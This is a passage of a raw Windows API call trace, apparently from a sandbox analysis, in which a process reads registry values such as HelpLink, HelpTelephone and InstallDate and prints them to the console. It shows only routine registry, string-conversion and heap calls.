8 [0151.241] __iob_func () returned 0x7fefd702a80 [0151.241] _fileno (_File=0x7fefd702ab0) returned 1 [0151.241] _errno () returned 0x204bb0 [0151.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.241] _errno () returned 0x204bb0 [0151.241] GetFileType (hFile=0x50) returned 0x1 [0151.241] lstrlenW (lpString="HelpLink") returned 8 [0151.241] GetConsoleOutputCP () returned 0x1b5 [0151.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.241] GetConsoleOutputCP () returned 0x1b5 [0151.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpLink", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpLink", lpUsedDefaultChar=0x0) returned 8 [0151.241] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0151.241] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.241] __iob_func () returned 0x7fefd702a80 [0151.241] _fileno (_File=0x7fefd702ab0) returned 1 [0151.241] _errno () returned 0x204bb0 [0151.241] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.241] _errno () returned 0x204bb0 [0151.241] GetFileType (hFile=0x50) returned 0x1 [0151.241] lstrlenW (lpString=" ") returned 4 [0151.241] GetConsoleOutputCP () returned 0x1b5 [0151.241] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.241] GetConsoleOutputCP () returned 0x1b5 [0151.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.242] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.242] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.242] __iob_func () returned 0x7fefd702a80 [0151.242] _fileno (_File=0x7fefd702ab0) returned 1 [0151.242] _errno () returned 0x204bb0 [0151.242] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.242] _errno () returned 0x204bb0 [0151.242] GetFileType (hFile=0x50) returned 0x1 [0151.242] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0151.242] GetConsoleOutputCP () returned 0x1b5 [0151.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.242] GetConsoleOutputCP () returned 0x1b5 [0151.242] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0151.242] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.242] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.242] __iob_func () returned 0x7fefd702a80 [0151.242] _fileno (_File=0x7fefd702ab0) returned 1 [0151.242] _errno () returned 0x204bb0 [0151.242] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.242] _errno () returned 0x204bb0 [0151.242] GetFileType (hFile=0x50) returned 0x1 [0151.242] lstrlenW (lpString=" ") returned 4 [0151.242] GetConsoleOutputCP () returned 0x1b5 [0151.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.243] GetConsoleOutputCP () returned 0x1b5 [0151.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.243] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.243] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.243] __iob_func () returned 0x7fefd702a80 [0151.243] _fileno (_File=0x7fefd702ab0) returned 1 [0151.243] _errno () returned 0x204bb0 [0151.243] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.243] _errno () returned 0x204bb0 [0151.243] GetFileType (hFile=0x50) returned 0x1 [0151.243] lstrlenW (lpString="http://go.microsoft.com/fwlink/?LinkId=133405") returned 45 [0151.243] GetConsoleOutputCP () returned 0x1b5 [0151.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0151.243] GetConsoleOutputCP () returned 0x1b5 [0151.243] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="http://go.microsoft.com/fwlink/?LinkId=133405", cchWideChar=45, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://go.microsoft.com/fwlink/?LinkId=133405", lpUsedDefaultChar=0x0) returned 45 [0151.243] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 45 [0151.243] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.243] __iob_func () returned 0x7fefd702a80 [0151.243] _fileno (_File=0x7fefd702ab0) returned 1 [0151.243] _errno () returned 0x204bb0 [0151.243] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.243] _errno () returned 0x204bb0 [0151.243] GetFileType (hFile=0x50) returned 0x1 [0151.244] lstrlenW (lpString="\n") returned 1 [0151.244] GetConsoleOutputCP () returned 0x1b5 [0151.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.244] GetConsoleOutputCP () returned 0x1b5 [0151.244] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.244] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.244] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.244] GetProcessHeap () returned 0x3c0000 [0151.244] GetProcessHeap () returned 0x3c0000 [0151.244] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.244] GetProcessHeap () returned 0x3c0000 [0151.244] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0151.244] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0151.244] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpTelephone", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.244] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.244] GetProcessHeap () returned 0x3c0000 [0151.244] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.244] GetProcessHeap () returned 0x3c0000 [0151.244] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.244] GetProcessHeap () returned 0x3c0000 [0151.244] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.244] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpTelephone", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.244] __iob_func () returned 0x7fefd702a80 [0151.244] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.244] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.244] _fileno (_File=0x7fefd702ab0) returned 1 [0151.244] _errno () returned 0x204bb0 [0151.244] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.245] _errno () returned 0x204bb0 [0151.245] GetFileType (hFile=0x50) returned 0x1 [0151.245] lstrlenW (lpString=" ") returned 4 [0151.245] GetConsoleOutputCP () returned 0x1b5 [0151.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.245] GetConsoleOutputCP () returned 0x1b5 [0151.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.245] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.245] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.245] lstrlenW (lpString="HelpTelephone") returned 13 [0151.245] __iob_func () returned 0x7fefd702a80 [0151.245] _fileno (_File=0x7fefd702ab0) returned 1 [0151.245] _errno () returned 0x204bb0 [0151.245] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.245] _errno () returned 0x204bb0 [0151.245] GetFileType (hFile=0x50) returned 0x1 [0151.245] lstrlenW (lpString="HelpTelephone") returned 13 [0151.245] GetConsoleOutputCP () returned 0x1b5 [0151.245] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0151.245] GetConsoleOutputCP () returned 0x1b5 [0151.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HelpTelephone", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HelpTelephone", lpUsedDefaultChar=0x0) returned 13 [0151.246] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0151.246] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.246] __iob_func () returned 0x7fefd702a80 [0151.246] _fileno (_File=0x7fefd702ab0) returned 1 [0151.246] _errno () returned 0x204bb0 [0151.246] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.246] _errno () returned 0x204bb0 [0151.246] GetFileType (hFile=0x50) returned 0x1 [0151.246] lstrlenW (lpString=" ") returned 4 [0151.246] GetConsoleOutputCP () returned 0x1b5 [0151.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.246] GetConsoleOutputCP () returned 0x1b5 [0151.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.246] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.246] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.246] __iob_func () returned 0x7fefd702a80 [0151.246] _fileno (_File=0x7fefd702ab0) returned 1 [0151.246] _errno () returned 0x204bb0 [0151.246] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.246] _errno () returned 0x204bb0 [0151.246] GetFileType (hFile=0x50) returned 0x1 [0151.246] lstrlenW (lpString="REG_SZ") returned 6 [0151.246] GetConsoleOutputCP () returned 0x1b5 [0151.246] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.247] GetConsoleOutputCP () returned 0x1b5 [0151.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.247] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.247] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.247] __iob_func () returned 0x7fefd702a80 [0151.247] _fileno (_File=0x7fefd702ab0) returned 1 [0151.247] _errno () returned 0x204bb0 [0151.247] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.247] _errno () returned 0x204bb0 [0151.247] GetFileType (hFile=0x50) returned 0x1 [0151.247] lstrlenW (lpString=" ") returned 4 [0151.247] GetConsoleOutputCP () returned 0x1b5 [0151.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.247] GetConsoleOutputCP () returned 0x1b5 [0151.247] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.247] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.247] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.247] __iob_func () returned 0x7fefd702a80 [0151.247] _fileno (_File=0x7fefd702ab0) returned 1 [0151.247] _errno () returned 0x204bb0 [0151.247] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.247] _errno () returned 0x204bb0 [0151.247] GetFileType (hFile=0x50) returned 0x1 [0151.247] lstrlenW (lpString="") returned 0 [0151.247] __iob_func () returned 0x7fefd702a80 [0151.248] _fileno (_File=0x7fefd702ab0) returned 1 [0151.248] _errno () returned 0x204bb0 [0151.248] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.248] _errno () returned 0x204bb0 [0151.248] GetFileType (hFile=0x50) returned 0x1 [0151.248] lstrlenW (lpString="\n") returned 1 [0151.248] GetConsoleOutputCP () returned 0x1b5 [0151.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.248] GetConsoleOutputCP () returned 0x1b5 [0151.248] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.248] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.248] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.248] GetProcessHeap () returned 0x3c0000 [0151.248] GetProcessHeap () returned 0x3c0000 [0151.248] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.248] GetProcessHeap () returned 0x3c0000 [0151.248] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.248] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.248] RegEnumValueW (in: hKey=0x5c, dwIndex=0x6, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallDate", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.248] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x14) returned 0x0 [0151.248] GetProcessHeap () returned 0x3c0000 [0151.248] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x16) returned 0x3df290 [0151.248] GetProcessHeap () returned 0x3c0000 [0151.248] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.248] GetProcessHeap () returned 0x3c0000 [0151.248] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0151.248] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallDate", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3df290, pcbData=0x29f780*=0x14 | out: pdwType=0x29f700*=0x1, pvData="20170630", pcbData=0x29f780*=0x12) returned 0x0 [0151.248] __iob_func () returned 0x7fefd702a80 [0151.248] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.249] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.249] _fileno (_File=0x7fefd702ab0) returned 1 [0151.249] _errno () returned 0x204bb0 [0151.249] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.249] _errno () returned 0x204bb0 [0151.249] GetFileType (hFile=0x50) returned 0x1 [0151.249] lstrlenW (lpString=" ") returned 4 [0151.249] GetConsoleOutputCP () returned 0x1b5 [0151.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.249] GetConsoleOutputCP () returned 0x1b5 [0151.249] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.249] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.249] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.249] lstrlenW (lpString="InstallDate") returned 11 [0151.249] __iob_func () returned 0x7fefd702a80 [0151.249] _fileno (_File=0x7fefd702ab0) returned 1 [0151.250] _errno () returned 0x204bb0 [0151.250] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.250] _errno () returned 0x204bb0 [0151.250] GetFileType (hFile=0x50) returned 0x1 [0151.250] lstrlenW (lpString="InstallDate") returned 11 [0151.250] GetConsoleOutputCP () returned 0x1b5 [0151.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0151.250] GetConsoleOutputCP () returned 0x1b5 [0151.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallDate", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallDate", lpUsedDefaultChar=0x0) returned 11 [0151.250] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0151.250] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.250] __iob_func () returned 0x7fefd702a80 [0151.250] _fileno (_File=0x7fefd702ab0) returned 1 [0151.250] _errno () returned 0x204bb0 [0151.250] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.250] _errno () returned 0x204bb0 [0151.250] GetFileType (hFile=0x50) returned 0x1 [0151.250] lstrlenW (lpString=" ") returned 4 [0151.250] GetConsoleOutputCP () returned 0x1b5 [0151.250] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.251] GetConsoleOutputCP () returned 0x1b5 [0151.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.251] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.251] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.251] __iob_func () returned 0x7fefd702a80 [0151.251] _fileno (_File=0x7fefd702ab0) returned 1 [0151.251] _errno () returned 0x204bb0 [0151.251] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.251] _errno () returned 0x204bb0 [0151.251] GetFileType (hFile=0x50) returned 0x1 [0151.251] lstrlenW (lpString="REG_SZ") returned 6 [0151.251] GetConsoleOutputCP () returned 0x1b5 [0151.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.251] GetConsoleOutputCP () returned 0x1b5 [0151.251] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.251] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.251] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.251] __iob_func () returned 0x7fefd702a80 [0151.251] _fileno (_File=0x7fefd702ab0) returned 1 [0151.251] _errno () returned 0x204bb0 [0151.251] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.251] _errno () returned 0x204bb0 [0151.251] GetFileType (hFile=0x50) returned 0x1 [0151.251] lstrlenW (lpString=" ") returned 4 [0151.252] GetConsoleOutputCP () returned 0x1b5 [0151.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.252] GetConsoleOutputCP () returned 0x1b5 [0151.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.252] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.252] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.252] __iob_func () returned 0x7fefd702a80 [0151.252] _fileno (_File=0x7fefd702ab0) returned 1 [0151.252] _errno () returned 0x204bb0 [0151.252] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.252] _errno () returned 0x204bb0 [0151.252] GetFileType (hFile=0x50) returned 0x1 [0151.252] lstrlenW (lpString="20170630") returned 8 [0151.252] GetConsoleOutputCP () returned 0x1b5 [0151.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0151.252] GetConsoleOutputCP () returned 0x1b5 [0151.252] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="20170630", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20170630", lpUsedDefaultChar=0x0) returned 8 [0151.252] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0151.252] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.252] __iob_func () returned 0x7fefd702a80 [0151.253] _fileno (_File=0x7fefd702ab0) returned 1 [0151.253] _errno () returned 0x204bb0 [0151.253] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.253] _errno () returned 0x204bb0 [0151.253] GetFileType (hFile=0x50) returned 0x1 [0151.253] lstrlenW (lpString="\n") returned 1 [0151.253] GetConsoleOutputCP () returned 0x1b5 [0151.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.253] GetConsoleOutputCP () returned 0x1b5 [0151.253] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.253] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.253] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.253] GetProcessHeap () returned 0x3c0000 [0151.253] GetProcessHeap () returned 0x3c0000 [0151.253] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3df290) returned 1 [0151.253] GetProcessHeap () returned 0x3c0000 [0151.253] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3df290) returned 0x16 [0151.253] HeapFree (in: 